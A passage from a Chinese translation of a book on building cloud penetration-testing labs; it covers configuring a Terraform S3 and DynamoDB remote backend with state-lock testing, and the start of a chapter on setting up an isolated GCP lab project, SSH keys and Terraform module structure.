等待几分钟让这一步完成。成功运行terraform apply命令后,我们应该有一个新的 S3 存储桶和一个新的 DynamoDB 表。让我们分别标记这些资源为BACKEND_S3和BACKEND_TABLE,因为我们将在本章中多次引用这些资源。请注意,这个 S3 存储桶将用于 Terraform 远程后端,与用于易受攻击实验环境的故意配置错误的 S3 存储桶(我们将标记为VULNERABLE_S3)不同。有了 Terraform 远程后端准备好后,我们现在可以继续配置我们现有的 Terraform 代码以使用这个远程后端。在继续之前,请确保在运行terraform apply命令后记下 AWS S3 存储桶(BACKEND_S3)和 DynamoDB 表(BACKEND_TABLE)资源的名称。您可以使用terraform show命令检查 Terraform 管理的现有基础设施资源。
-
使用
cd命令返回到vulnerable_s3_lab目录:cd ~/vulnerable_s3_lab -
运行以下命令使用 Vim 打开
main.tf文件:vim main.tf -
接下来,按下i切换到插入模式,以便我们可以编辑文件。
-
使用箭头键定位以下代码块:
terraform { required_providers { aws = { source = "hashicorp/aws" version = "~> 4.0" } } } -
一旦找到之前的代码块,请用以下代码块更新它:
terraform { required_providers { aws = { source = "hashicorp/aws" version = "~> 4.0" } } backend "s3" { bucket = "<INSERT BUCKET NAME>" key = "terraform/terraform.tfstate" region = "us-east-1" dynamodb_table = "<INSERT TABLE NAME>" encrypt = true } }确保用 S3 存储桶(BACKEND_S3)和 DynamoDB 表(BACKEND_TABLE)的名称替换
<INSERT BUCKET NAME>和<INSERT TABLE NAME>。
重要提示
在这里,我们将指定在早期步骤中创建的现有 S3 存储桶(标记为BACKEND_S3)和 DynamoDB 表(标记为BACKEND_TABLE)资源的资源名称,用于 Terraform 远程后端设置。请注意,BACKEND_S3和BACKEND_TABLE只是我们在本章中使用的任意标签,以便我们更容易地引用我们在早期步骤中创建的资源。也就是说,这些并不是将在代码块中替换<INSERT BUCKET NAME>和<INSERT TABLE NAME>的资源名称。随时在~/backend目录中再次运行terraform show命令以获取资源名称。
-
现在我们的
~/vulnerable_s3_lab/main.tf文件已经更新,让我们运行terraform fmt来格式化我们的 Terraform 代码:terraform fmt在这里,我们使用
terraform fmt来确保所有 Terraform 配置文件都具有一致的编码风格。 -
让我们使用
terraform init命令重新初始化 Terraform 工作目录:terraform init -
接下来,让我们运行
terraform plan来预览 Terraform 将执行的更改:terraform plan -
现在,让我们使用
terraform apply命令:terraform apply -auto-approve这将为我们的易受攻击实验环境创建一个配置错误的 S3 存储桶(标记为VULNERABLE_S3)。
重要提示
如果在运行terraform apply -auto-approve时遇到问题,请随时重新运行相同命令,这可能会自动解决这些问题,而无需修改 Terraform 代码。请注意,解决问题的另一种方法是首先使用terraform destroy -auto-approve删除资源,然后再使用terraform apply -auto-approve创建资源。
-
在我们庆祝之前,让我们验证一下用于后端(BACKEND_S3)的 S3 存储桶是否有
terraform.tfstate文件:aws s3 ls s3://<S3 BACKEND BUCKET NAME> --recursive请确保用我们
~/****backend/main.tf文件中指定的 Terraform 后端使用的 S3 存储桶(标记为BACKEND_S3)的名称替换<S3 BACKEND BUCKET NAME>。运行
aws s3 ls命令后,我们应该得到以下输出:... terraform/terraform.tfstate这意味着我们已成功重新配置了我们的 Terraform 代码,将状态文件存储在 S3 存储桶中(而不是本地目录)。
-
接下来,让我们打开一个新的浏览器选项卡,导航到 AWS 管理控制台的主页。
注意
不要关闭我们在 AWS CloudShell 终端内运行命令的浏览器选项卡。
- 在搜索栏中键入
dynamodb,然后从结果列表中选择DynamoDB,以进入 DynamoDB 控制台。在 DynamoDB 控制台左侧的导航窗格中,选择PartiQL 编辑器。
注意
如果你想知道PartiQL是什么,它只是 DynamoDB 的一个与 SQL 兼容的查询语言。使用 PartiQL,我们可以类似于查询 SQL 数据库表的方式查询 DynamoDB 表。这使我们能够在处理 DynamoDB 时利用我们现有的 SQL 知识和技能,更容易地编写和执行复杂的 NoSQL 数据查询。
-
在 PartiQL 编辑器(文本区域)中指定以下查询:
SELECT * FROM "<INSERT TABLE NAME>";请确保用我们在本节中早期步骤中使用 Terraform 创建的 DynamoDB 表的名称(标记为BACKEND_TABLE)替换
<INSERT TABLE NAME>。
注意
随时可以在~/backend目录内再次运行terraform show命令,以获取我们标记为BACKEND_TABLE的 DynamoDB 表的资源名称。
-
点击运行按钮执行查询。
我们的查询应返回一个项目,其中
LockID值为<BACKEND_S3 BUCKET NAME>/terraform/terraform.tfstate-md5。该项目还应具有类似于51f8a19d543d54b0481f1823b1784896的随机生成的字母数字Digest值。这个digest值是 Terraform 状态文件内容的表示。它用于检测状态文件的更改,并确保在plan、apply和destroy等操作期间保持一致性。当我们修改基础架构时,Terraform 将对状态文件进行更改,但除非状态文件的内容发生更改,否则摘要本身不会更改。也就是说,这个值充当状态文件内容的校验和或哈希,这使得 Terraform 能够确定状态文件是否已被外部修改(或是否存在可能导致冲突的并发修改)。 -
最后,返回 CloudShell 浏览器选项卡,然后使用
terraform destroy命令清理我们之前创建的资源:terraform destroy在验证步骤(即看到输入一个值:时),输入
yes以继续删除资源。
注意
上一步中删除的资源不包括 Terraform 后端资源(即BACKEND_S3和BACKEND_TABLE),因为这些资源是在~/backend/main.tf中定义的。
我们还没有完成!在下一节中,我们将验证我们的状态锁定设置是否有效。
验证状态锁定设置
验证 Terraform 状态锁定设置对于确保我们的基础架构管理过程的完整性至关重要。通过验证状态锁定设置,我们可以确认使用上一节中的 S3 和 DynamoDB 的分布式锁定机制是否正常运行。也就是说,当两个用户几乎同时运行terraform apply时会发生什么?我们将在接下来的步骤中看到发生了什么!
注意
并发terraform apply命令的这种情况突出了状态锁定的重要性,以防止冲突并确保数据一致性。在本节中,我们将探讨 Terraform 如何管理状态锁定并处理并发操作。这将帮助我们更好地理解 Terraform 在这种情况下实施的行为和保障措施。
第一部分 - 向上传脚本添加 60 秒延迟
-
继续从上一节结束的地方,让我们使用
cd命令导航到vulnerable_s3_lab目录:cd ~/vulnerable_s3_lab -
运行以下命令以使用 Vim 打开
upload.sh文件:vim upload.sh
注意
输入:set nu,然后按下Enter键以显示行号。
-
使用箭头键将光标放在第一行的第一个字符之前。之后,按下i切换到插入模式,以便我们可以编辑文件。
-
在
upload.sh脚本的开头添加以下代码行:echo "Sleeping for 60 seconds" sleep 60在脚本开头添加的 2 行应使
upload.sh脚本运行时间延长 60 秒。这应该给我们额外的几秒钟来运行所需的命令,以验证状态锁定设置是否正常工作。 -
按下Esc键切换到正常模式。输入:wq!。然后按Enter。这将保存对
upload.sh所做的更改,然后退出 Vim。 -
使用
cat命令(cat upload.sh)验证我们更新的upload.sh文件看起来是否与以下代码块中的内容类似:echo "Sleeping for 60 seconds" sleep 60 mkdir files cd files SOURCE=https://github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/raw/main/ch03/sample_website.zip wget $SOURCE -O sample_website.zip unzip sample_website.zip rm sample_website.zip aws s3 cp --recursive . s3://$1在这里,我们基本上有相同的
upload.sh文件,只是在运行脚本时添加了前 2 行以增加 60 秒的延迟。
第二部分 4 – 获取状态锁
-
现在,让我们在 CloudShell 终端屏幕上垂直分割。按住Ctrl键同时按下b键。释放两个键,然后在大约半秒后按下%(或Shift + 5)。这应该创建一个类似于图 3**.13中的垂直分割:
![]()
图 3.13 –
tmux中的垂直分割由于 AWS CloudShell 预先安装了
tmux,我们应该能够直接使用tmux命令,而无需单独安装该实用程序。
注意
如果这是你第一次使用tmux,不要担心,可能需要几次尝试才能掌握正确的按键组合!随时观看这个教程视频以获取有关如何使用tmux的更多信息:www.youtube.com/watch?v=Yl7NFenTgIo。
-
让我们跳到左窗格。按住Ctrl键同时按下b键。释放两个键,然后在大约半秒后按下左箭头键。
-
现在,在左窗格上运行以下命令:
cd ~/vulnerable_s3_lab && terraform apply -auto-approve这应该产生一组类似于在本章使用 Terraform 构建我们的易受攻击实验环境部分运行
terraform apply命令后生成的日志。您可以忽略任何AccessDenied错误消息,因为这些可以通过在左窗格中重试命令轻松解决(在这一点上我们不需要这样做)。
重要提示
运行terraform apply命令将获取状态锁,以确保并发操作不会同时修改基础设施状态。这个锁对于保持一致性并防止协作或自动化环境中的冲突至关重要。通过在进行任何修改之前获取锁,我们确保多个terraform apply命令在继续之前等待锁被释放。也就是说,不要等待terraform apply命令完成!在在左窗格上运行命令后立即继续下一组步骤。
第三部分 4 – 测试我们的状态锁设置
-
为了测试我们的状态锁设置,我们将在第一个
terraform apply命令仍在运行时运行另一个terraform apply命令。也就是说,让我们跳到右窗格。按住Ctrl键同时按下b键。释放这两个键,然后在大约半秒后按下右箭头键。 -
当左窗格上运行
terraform apply命令时,在右窗格上运行以下命令:cd ~/vulnerable_s3_lab && terraform apply -auto-approve这将给我们一个类似于图 3**.14所示的错误:
![]()
图 3.14 – 获取状态锁时出错
这意味着我们在第一个
terraform apply命令仍在运行时(在左窗格中)无法获取状态锁。一旦左窗格中的命令成功(或由于错误而失败),状态锁将被释放。这是预期的行为吗?是的!通过在较早的步骤中获取状态锁,我们确保只有一个terraform apply命令可以一次修改状态。这种顺序方法确保一致性并防止竞争条件。因此,正常情况下,后续的terraform apply命令会等待初始命令完成并释放状态锁,然后再继续。当然,会有一些情况下状态锁不会自动释放(很可能是由于意外问题)。要解决这个问题,你可以使用
terraform force-unlock -force <ID>手动解锁状态。你可以在错误消息的Lock Info部分找到ID值(类似于我们在图 3**.14中看到的)。
重要提示
如果你错过了时机(也就是说,在你能够在右窗格运行terraform apply命令之前,左窗格中的命令已经执行完毕),请随时在~/vulnerable_s3_lab目录内运行terraform destroy -auto-approve来销毁创建的资源,这样你就可以尝试重复上一组步骤。你也可以通过修改upload.sh文件,将 60 秒的延迟替换为 120 秒的延迟,以便给你更多时间在tmux窗格之间切换。
第四部分 4 – 清理工作
-
随着我们的状态锁验证实验完成,让我们使用
exit命令退出右窗格上的tmux会话:exit这将使我们只留下一个窗格(移除垂直分割)。
-
在结束本节之前,让我们使用
terraform destroy清理之前创建的资源:terraform destroy在验证步骤中(也就是当你看到输入一个值:时),输入
yes以继续删除资源。这将删除vulnerable_s3_lab目录内main.tf文件中指定的资源(主要是标记为VULNERABLE_S3的 S3 存储桶)。
注意
随意删除剩余的 S3 存储桶(用作我们标记为BACKEND_S3的远程状态后端)以及 DynamoDB 表(标记为BACKEND_TABLE)。我们将把这留给你作为练习。
哇!这一章真是充满了生产力和行动!到目前为止,我们应该已经很好地掌握了如何利用 Terraform(结合 IaC 概念和策略)来创建和配置云资源。在接下来的章节中,我们将更深入地探讨在本章中学到的内容如何在构建云端渗透测试实验室中发挥关键作用。
摘要
在这一章中,我们讨论了 IaC 如何帮助我们在云端自动准备、配置和管理渗透测试实验室环境。然后,我们使用了 Terraform,这个最强大和最常用的 IaC 工具之一,来创建、修改和删除云基础设施资源。在我们的环境中设置好 Terraform 后,我们进行了几个实践示例,演示了该工具的不同功能。此外,我们还使用 Terraform(这次是自动化的)重建了在 第二章 中准备的脆弱实验室环境。最后,我们简要回顾了如何配置带有状态锁定的 Terraform 后端,以帮助防止多个工程师在使用 Terraform 修改基础设施资源时发生冲突。
在下一章中,我们将深入探讨在云端隔离账户和环境的不同策略。结合下一章的实践解决方案,这些信息将帮助我们妥善地保护和管理我们的云端渗透测试实验室环境。
深入阅读
如果您想了解更多本章涉及的内容,请随时查阅以下资源:
-
查找 AWS 账户的规范用户 ID (
docs.aws.amazon.com/AmazonS3/latest/userguide/finding-canonical-user-id.html) -
Terraform 语言 文档 (
developer.hashicorp.com/terraform/language) -
Terraform—远程 状态 (
developer.hashicorp.com/terraform/language/state/remote) -
Terraform—状态 锁定 (
developer.hashicorp.com/terraform/language/state/locking) -
Terraform—从状态 灾难中恢复 (
developer.hashicorp.com/terraform/cli/state/recover) -
一张超实用的 Vim 快捷键 参考表 (
vimsheet.com/) -
Tmux 快捷键表 & 快速 参考 (
tmuxcheatsheet.com/)
第二部分:在云端搭建隔离渗透测试实验室环境
在本部分中,您将学习如何在 AWS、Azure 和 GCP 上构建和自动化隔离的渗透测试实验室环境。
本部分包含以下章节:
-
第四章,在 GCP 上搭建隔离的渗透测试实验室环境
-
第五章,在 Azure 上设置隔离的渗透测试实验环境
-
第六章,在 AWS 上设置隔离的渗透测试实验环境
第四章:在 GCP 上设置隔离的渗透测试实验室环境
在设置基于云的渗透测试实验室时,我们故意创建一个易受攻击且配置错误的环境,以便练习各种安全技术。确保实验室环境中的资源免受未经授权的外部攻击,并减轻任何对实验室内授权测试活动或模拟的干扰风险是至关重要的。想象一下,攻击者设法获得了对你的渗透测试实验室环境中易受攻击资源的未经授权的访问! 这些攻击者可以利用云资源执行各种恶意活动——包括发起分布式拒绝服务(DDoS)攻击,攻击其他用户和组织拥有的系统,甚至在受损的云账户内传播恶意软件。可怕吧? 通过使用正确配置的网络环境将易受攻击的实验室资源隔离开来,我们可以保持一个安全的测试环境,最小化在云中设置渗透测试实验室所带来的风险。
在本章中,我们将准备一个Google Cloud Platform(GCP)中的隔离网络环境,并利用这个网络环境设置一个渗透测试实验室,防止未经授权的外部攻击。在整个网络环境的虚拟私有云(VPC)网络中,我们将设置一个目标虚拟机(VM)实例,托管一个故意存在漏洞的 Web 应用程序——OWASP Juice Shop。然后,在一个单独的 VPC 网络中,我们将启动一个攻击者虚拟机实例(运行一个名为Kali Linux的专注于渗透测试的 Linux 发行版),并配置其具有浏览器访问的桌面环境。接着,我们将建立 VPC 对等连接,创建目标 VPC 网络与攻击者 VPC 网络之间的连接。最后,我们将在隔离的网络环境中执行快速渗透测试模拟,以验证一切是否正常运行。
也就是说,我们将在本章中覆盖以下主题:
-
准备必要的组件和前提条件
-
定义项目结构
-
准备隔离网络
-
设置目标虚拟机实例
-
导入 Kali Linux 通用云镜像
-
手动设置攻击者虚拟机实例
-
利用 Terraform 自动设置攻击者虚拟机实例
-
在隔离网络环境中模拟渗透测试
-
清理工作
本书的前几章主要集中在使用 AWS 来设置云端渗透测试实验室环境。然而,在本章中,我们的重点将转向 GCP,我们将在新的 GCP 账户内部署各种云资源。自 2008 年推出以来,GCP 迅速发展,提供了多种基础设施和平台服务——包括虚拟机和数据库服务,以及数据工程和机器学习(ML)服务。因此,探索如何在这个成熟且多功能的云平台上构建渗透测试实验室环境是非常必要的。
有了这些准备,我们就可以开始了!
技术要求
在我们开始之前,以下准备工作需要完成:
-
一个 GCP 账户——您可以通过完成以下链接中的步骤,开始使用免费的试用账户:
cloud.google.com/free/。如果您尚未在 GCP 账户中设置账单账户,请确保您已正确设置账单信息/个人资料,以便可以不间断地访问和使用 GCP 服务。有关如何创建账单账户的更多信息,请查看以下链接:www.youtube.com/watch?v=NeRYUoR4u0s。 -
任何文本编辑器(例如 Notepad++、Visual Studio Code 或 Sublime Text),我们可以在其中临时存储本章实践中使用的特定值(例如,您本地计算机的 IP 地址)。
一旦这些准备工作完成,您就可以继续进行下一步操作。
重要提示
确保不要使用任何现有的 GCP 账户,其中有生产(或暂存)环境资源,用于本书中的实践练习和解决方案。强烈建议为启动故意存在漏洞的资源创建一个新的 GCP 账户。这将确保您的生产(或暂存)环境资源保持独立和安全。此外,请确保阅读可用文档和常见问题解答,以便充分了解在 GCP 中创建资源时哪些是免费的(哪些不是免费的)。有关更多信息,请参阅以下链接:cloud.google.com/free/docs/free-cloud-features。
每章使用的源代码和其他文件可以在本书的 GitHub 仓库中找到:github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud。
准备必要的组件和前提条件
本节我们将重点准备本章所需的前提条件。我们将从获取你本地机器的 IP 地址开始。稍后在配置防火墙规则时,我们将使用这个 IP 地址来允许本地机器访问实验环境中的特定资源。此外,我们还将设置 Google Cloud 项目,在本章中将部署云资源。
最后,我们将生成 SSH 密钥(一个公钥和一个私钥)以便在本章稍后访问攻击者虚拟机实例。正如我们在图 4.1中所看到的,私钥将保存在你的本地机器中,而公钥将保存在攻击者虚拟机实例中。

图 4.1 – 生成 SSH 密钥以访问攻击者虚拟机实例
通过这种设置,服务器(攻击者虚拟机实例)可以使用私钥确认客户端(你的本地机器)的身份,而无需传输敏感的凭据。这样,我们就可以通过 SSH 访问攻击者虚拟机实例,并建立一个安全的连接,以便远程运行命令和管理实例。
注意
在图 4.1中,我们可以看到目标虚拟机实例以及渗透测试实验环境中的其他组件。我们将在本章接下来的章节中深入探讨实验环境中其他资源的配置。
话虽如此,我们将把本节分为以下三个部分:
-
第一部分,共 3 部分 – 获取本地机器的 IP 地址
-
第二部分,共 3 部分 – 设置 Google Cloud 项目
-
第三部分,共 3 部分 – 生成 SSH 密钥以访问攻击者 虚拟机实例
牢记这些要点后,我们将继续准备本章所需的必要组件和前提条件。
第一部分,共 3 部分 – 获取本地机器的 IP 地址
按照以下步骤操作:
-
通过
ipinfo.io/ip、ifconfig.io/或其他类似的网站和在线工具,记下你本地机器的 IP 地址。你也可以使用 Google 搜索来获取你本地机器的 IP 地址。 -
将你的 IP 地址信息保存在文本编辑器中,因为稍后我们将使用它来允许本地机器访问攻击者虚拟机实例。
第二部分,共 3 部分 – 设置 Google Cloud 项目
现在,让我们创建 Google Cloud 项目,在本章中我们将在其中部署云资源。请按以下步骤操作:
- 在网页浏览器中打开以下链接,进入 Google Cloud 控制台:
console.cloud.google.com/。
注意
Google Cloud 控制台是 GCP 提供的一个网页界面,用于管理云资源。你可以把它看作是我们在本书前几章中使用的AWS 管理控制台的对应工具。如果你需要快速了解如何使用 Google Cloud 控制台,可以观看以下 6 分钟的视频:www.youtube.com/watch?v=27Pb5g7bEAA。
-
在
Google Cloud控制台中,打开导航菜单(☰):![]()
图 4.2 – 导航到创建项目页面
在IAM & 管理员下找到并点击创建项目,如图 4.2中所示。
-
在项目名称字段中,指定
secure-network-environments。保持位置字段的值不变(无组织)。 -
然后点击创建按钮。
注意
在 GCP 中,项目用于将资源组织成逻辑组。在一个项目中,我们可以有一组用户,这些用户可以访问项目资源。一个项目包括用户、API 以及这些 API 的特定配置设置。有关更多信息,请查阅以下链接:cloud.google.com/storage/docs/projects。
-
项目成功创建后,点击图 4.3中高亮显示的下拉菜单:
![]()
图 4.3 – 打开选择项目弹出窗口
在选择项目弹出窗口中,选择
secure-network-environments项目,然后点击打开按钮。 -
找到并点击激活 Cloud Shell按钮,如图 4.4中所示:
![]()
图 4.4 – 启动 Cloud Shell
这将打开一个终端,我们可以在其中运行命令行命令。
注意
可能需要一两分钟才能使 Cloud Shell 准备就绪。
-
点击位于 Cloud Shell 终端窗格右上角的打开编辑器按钮。这将打开 Cloud Shell 编辑器,类似于我们在图 4.5中看到的样子:
![]()
图 4.5 – Cloud Shell 编辑器
如果你没有看到类似图 4.5中的终端,可以打开 Cloud Shell 编辑器的终端菜单,然后从选项列表中选择新建终端。
注意
Google Cloud Shell提供了一个基于网页的交互式 shell 环境,供我们在使用云资源和应用程序时运行命令、编写脚本和管理资源。由于我们在前几章中已经使用过AWS CloudShell,因此我们应该能够很容易地适应本章中使用 Google Cloud Shell。需要注意的是,Google Cloud Shell 还提供了一个集成的代码编辑器,允许我们在该环境中直接编写、编辑和保存脚本和配置文件。
-
在终端(
$符号后面),运行以下命令以列出你在 GCP 账户中的项目:gcloud projects list如果你看到授权 Cloud Shell的弹窗(类似于图 4**.6所示),请确保点击授权按钮,允许
gcloud命令行界面(CLI)为我们进行 API 调用:![]()
图 4.6 – 授权 Cloud Shell
如果这是你第一次使用
gcloudCLI,它只是一个命令行工具,帮助我们创建和管理各种 Google Cloud 资源。运行之前的命令后,应该会得到如下输出:
...PROJECT_ID: <PROJECT_ID> NAME: secure-network-environments PROJECT_NUMBER: ...请记得记下
PROJECT_ID值,因为在接下来的步骤中配置活动项目时我们需要这个值。 -
接下来,运行以下命令以检查当前活动项目:
gcloud config get-value project如果之前的命令返回的项目 ID 与前一步骤中的
<PROJECT_ID>值不匹配,请运行以下命令来配置一个新的活动项目—这次使用从前一步骤中获得的<PROJECT_ID>值:gcloud config set project <PROJECT_ID>你可以再次使用
gcloud config get-value project命令来验证前面的命令是否成功。请注意,当 Cloud Shell 环境重新启动时,我们可能需要再次使用gcloud config set project <PROJECT_ID>来配置活动项目,以确保我们在正确的项目中运行命令并创建云资源。
重要提示
请确保不要使用项目名称(即secure-network-environments)作为<PROJECT_ID>值,特别是在使用gcloud config set project命令时。指定错误的<PROJECT_ID>值将会返回以下警告信息:您似乎没有访问项目 [secure-network-environments] 的权限,或者该项目不存在。
-
使用搜索框,使用
vpc networks搜索查询导航到VPC 网络页面。 -
如果还没有启用 Compute Engine API,你将被重定向到 Compute Engine API 页面,类似于图 4**.7所示的内容:
![]()
图 4.7 – 启用 Compute Engine API
点击启用按钮继续。等待大约 3-5 分钟,直到 Compute Engine API 启用。请注意,这一步骤是必要的,以确保你可以在项目中访问 Compute Engine 服务和功能。
第三部分,共 3 部分 – 生成 SSH 密钥以访问攻击者虚拟机实例
现在,让我们为访问攻击者虚拟机实例生成 SSH 密钥(我们将在本章后面进行设置)。按照以下步骤操作:
-
在继续上一个部分的内容时,让我们打开一个新的
Cloud Shell终端(或重新使用现有的)。确保我们使用的是之前配置的secure-network-environments作为活动项目。 -
在终端中(
$符号后),运行以下命令以创建一个新目录(命名为kali_keys)并进入该目录:cd ~ mkdir kali_keys && cd kali_keys我们将把生成的密钥存储在这个目录中。
-
生成新的 SSH 密钥对并将生成的密钥文件保存在
kali_keys目录中:ssh-keygen -t rsa -C kali -f ./kali-ssh当系统询问输入密码短语时,直接按Enter键即可,因为我们不会为密钥添加密码短语(密码确认也是如此)。这将生成两个文件——
kali-ssh(私钥)和kali-ssh.pub(公钥)。
注意
这些 SSH 密钥文件是如何工作的? SSH 密钥文件由私钥(保存在客户端机器上)和相应的公钥(上传到远程服务器)组成。在身份验证过程中,客户端使用其私钥生成数字签名,服务器则使用相应的公钥进行验证。在这里,服务器可以通过确认客户端持有私钥来验证其身份,而不需要传输敏感的凭证。
-
使用
cat命令打印公钥值:cat kali-ssh.pub将此值保存在本地机器上的文本编辑器中,因为我们稍后将在本章的手动设置攻击者虚拟机实例部分中使用它。
-
点击打开编辑器按钮(如果编辑器尚未打开)。
注意
加载Cloud Shell 编辑器可能需要一两分钟的时间。
-
在编辑器的文件树中找到生成的私钥(kali-ssh)(类似于图 4.8所示):
![]()
图 4.8 – 下载生成的私钥文件
右键单击文件,然后从上下文菜单中的选项中选择下载。你也可以对公钥(kali-ssh.pub)执行相同的步骤,将其下载到本地机器。
现在我们已经准备好了先决条件,可以继续进行项目结构的设置和定义!
定义项目结构
在本章中,我们将介绍使用 Terraform 模块来帮助定义和组织我们的基础设施即代码(IaC)项目结构。模块使我们能够封装并重用一组资源,使得我们的 Terraform 代码更加模块化、可维护和可扩展。通过利用模块,我们将能够简化复杂基础设施部署的管理,并将常见配置抽象为可重用的组件。
在第三章,成功使用基础设施即代码工具和策略中,我们将所有的.tf文件存储在一个目录中。感觉有点凌乱,对吧? 如果你想知道模块如何改变我们组织代码和文件的方式,下面是使用 Terraform 模块后,项目结构可能的样子:

图 4.9 – 使用 Terraform 模块的示例文件和文件夹结构
在图 4.9中,我们展示了一个示例的文件和文件夹结构(左侧),以及模块目录如何在根模块的 main.tf 文件中加载(右侧)。这里,root_module 目录是 Terraform 配置的主要入口点。项目根目录中的 module1 和 module2 等目录将包含针对这些模块的 Terraform 文件,如 main.tf、variables.tf 和 outputs.tf。然后,这些模块将在根模块的 main.tf 文件中通过 module 块进行定义,就像我们在以下代码块中看到的那样:
module "module1" {
source = "./module1" ... }
module "module2" {
source = "./module2" ... }
请注意,虽然通常会有一个单独的目录叫做 modules 来存储各个模块目录,比如 module1、module2 和 module3,但我们会遵循当前项目和文件夹结构,如图 4.9所示。
注意
值得注意的是,我们示例中使用的 module1、module2 和 module3 目录名称是任意的,可以根据用户的偏好进行重命名。例如,可以使用 secure_network、attacker_vm 和 target_vm 等替代名称,为模块提供更具描述性和意义的名称。
IaC 配置文件的组织和模块化受渗透测试实验环境整体设计的影响,同时也受到资源分组方式的影响。在这一部分,我们需要简要讨论(至少从高层次来看)我们的实验环境将是什么样子。请看以下示意图:

图 4.10 – 我们在 GCP 中渗透测试实验环境的高层次示意图
在图 4.10中,我们有两个 VPC 网络:VPC 01 和 VPC 02。如果你想知道什么是 VPC 网络,它们其实就是云计算环境中的隔离虚拟网络,用于安全地分离和管理资源。话虽如此,我们计划在这些网络中放入哪些资源呢? 在 VPC 01 中,我们将放置目标虚拟机实例。而在 VPC 02 中,我们将放置攻击者虚拟机实例。将这些资源分组的一种方式是使用以下组别:
-
第 1 组—
VPC 01和目标虚拟机实例 -
第 2 组—
VPC 02和攻击者虚拟机实例
我们应该考虑这种方法可能的局限性。将 VPC 01 和目标虚拟机实例放在一起,可能会限制网络环境的灵活性和可扩展性(从模块化的角度来看)。如果我们将来需要增加更多的目标虚拟机实例,就需要修改现有的分组,可能会导致第一个组拥有过多的资源。
注意
如果你不熟悉 VPC 和虚拟机实例,别担心,我们将在本章接下来的部分详细讨论这些内容。
另外一种选择是创建三个不同的模块,如下所示:
-
secure_network模块—网络资源,如VPC 01和VPC 02,以及其他相关资源的组合 -
target_vm模块—目标虚拟机实例 -
attacker_vm模块—攻击者虚拟机实例
这个替代方案似乎是一个更合适的选择,因为它倾向于准备一个可重用的网络环境模块,可以轻松地用于我们在 GCP 上的渗透测试实验室环境的多个迭代。此外,它还提供了灵活性,可以将目标虚拟机实例模块替换为一个或多个易受攻击的设计目标模块。尽管这种方法并不完美,但它目前应能满足需求,因为它在可扩展性、模块化和适应性方面提供了显著的优势,适合在 GCP 上构建动态渗透测试实验室环境。
注意
如果这一节中关于我们渗透测试实验室环境的概述感觉有些模糊,缺乏细节,不必担心——我们将在接下来的每一节中进行更全面的讨论。
现在,让我们继续设置初始的项目文件和目录:
-
在上一节中我们已经开始了,确保我们有一个终端可以运行命令:
![]()
图 4.11 – 打开新终端
打开 Cloud Shell 编辑器的
Terminal菜单(如 图 4.11 中所示)。从可用选项中选择New Terminal。 -
在终端中(
$符号后),运行以下命令来创建一个pentest_lab项目目录(并切换到新目录):cd ~ mkdir -p pentest_lab && cd pentest_lab -
在
pentest_lab目录下,我们还需要创建secure_network、target_vm和attacker_vm目录,如下所示:mkdir -p secure_network mkdir -p target_vm mkdir -p attacker_vm我们稍后将在这些目录中存储相应的模块文件。
注意
虽然通常会有一个名为 modules 的独立目录来存储像 secure_network、target_vm 和 attacker_vm 这样的单独模块目录,但我们当前的项目和文件夹结构应该足够使用。
-
让我们创建项目根目录中的文件:
touch main.tf touch variables.tf touch outputs.tf touch terraform.tfvars touch versions.tf touch provider.tf注意,此时这些文件仍然是空的。我们将在后续过程中逐步添加必要的配置。以下是我们当前项目的结构:
![]()
图 4.12 – 我们当前项目在文件树中的结构
此时,我们在
pentest_lab目录下有三个空目录(attacker_vm、secure_network和 target_vm),以及六个空文件(main.tf、outputs.tf、provider.tf、terraform.tfvars、variables.tf和 versions.tf)。 -
通过在文件树(编辑器左侧)中定位文件,打开
provider.tf文件并在编辑器中添加以下代码块:provider "google" { region = "us-central1" zone = "us-central1-c" }在这里,我们正在配置 Google 提供程序,将区域指定为
us-central1,区域为us-central1-c。此提供程序配置确保我们通过 Terraform 部署的资源将在 GCP 中指定的区域和可用区内进行配置。考虑到这一点,在继续下一步之前,确保保存对provider.tf文件所做的任何修改。
重要提示
在接下来的步骤中,我们将在~/pentest_lab目录中的多个文件中更新并添加代码。确保保存对每个文件所做的任何更改,以便在运行terraform命令时不会遇到意外错误。
-
接下来,打开
versions.tf文件。我们将添加以下代码块来指定所使用提供程序的版本约束:terraform { required_providers {random = { source = "hashicorp/random" version = "2.3.0" } google = { source = "hashicorp/google" version = "4.61.0" } } }在这里,我们为随机和 Google Cloud 提供程序指定了源和版本。为什么需要这样做? 这样可以确保使用正确版本的提供程序,以保持在使用 Terraform 时的兼容性和一致性。话虽如此,确保在继续下一步之前保存对
versions.tf文件所做的任何修改。 -
打开
variables.tf文件,并添加以下代码块:variable "my_ip" { type = string } variable "my_public_ssh_key" { type = string }在这里,我们定义了两个变量——
my_ip和my_public_ssh_key。请注意,这次我们不会指定默认值,因为我们将使用terraform.tfvars文件来存储变量值。确保在继续下一步之前保存对variables.tf文件所做的任何修改。 -
打开
terraform.tfvars文件,并添加以下代码行:my_ip = "<IP ADDRESS OF YOUR LOCAL MACHINE>" my_public_ssh_key = "<PUBLIC SSH KEY>"确保将
<IP ADDRESS OF YOUR LOCAL MACHINE>替换为你正在使用的笔记本或台式计算机的当前 IP 地址值。此外,确保将<PUBLIC SSH KEY>替换为公钥字符串值(在之前的步骤中运行cat kali-ssh.pub后获得)。请注意,<PUBLIC SSH KEY>的值应遵循类似ssh-rsa ... kali的格式。在继续下一步之前,不要忘记保存terraform.tfvars文件。
注意
此时,你可能会想,这个文件是用来做什么的!terraform.tfvars文件用于在 Terraform 项目中存储输入变量值。它提供了一种便捷的方式来管理和自定义基础设施的属性,而无需修改配置代码。除此之外,存储在terraform.tfvars文件中的值在使用terraform** **apply命令时会自动加载。
-
打开
main.tf文件,并添加以下代码块来定义将用于该项目的模块:module "secure_network" { source = "./secure_network" } module "attacker_vm" { source = "./attacker_vm" } module "target_vm" { source = "./target_vm" }在这里,我们在
main.tf中添加了模块块,以从各自的源目录中包含secure_network、attacker_vm和target_vm模块。确保在继续下一步之前保存main.tf文件。 -
在终端中(在
$符号后面),运行terraform init命令以初始化 Terraform 工作目录:terraform init这将返回以下输出:
... Terraform has been successfully initialized! You may now begin working with Terraform. Try running "terraform plan" to see any changes that are required for your infrastructure. All Terraform commands should now work. ...
注意
确保在运行terraform init命令之前,已经位于~/pentest_lab目录中(以及接下来步骤中的其他terraform命令)。
-
在运行
terraform plan命令之前,让我们运行terraform fmt来格式化我们的 Terraform 代码:terraform fmt在这里,我们使用
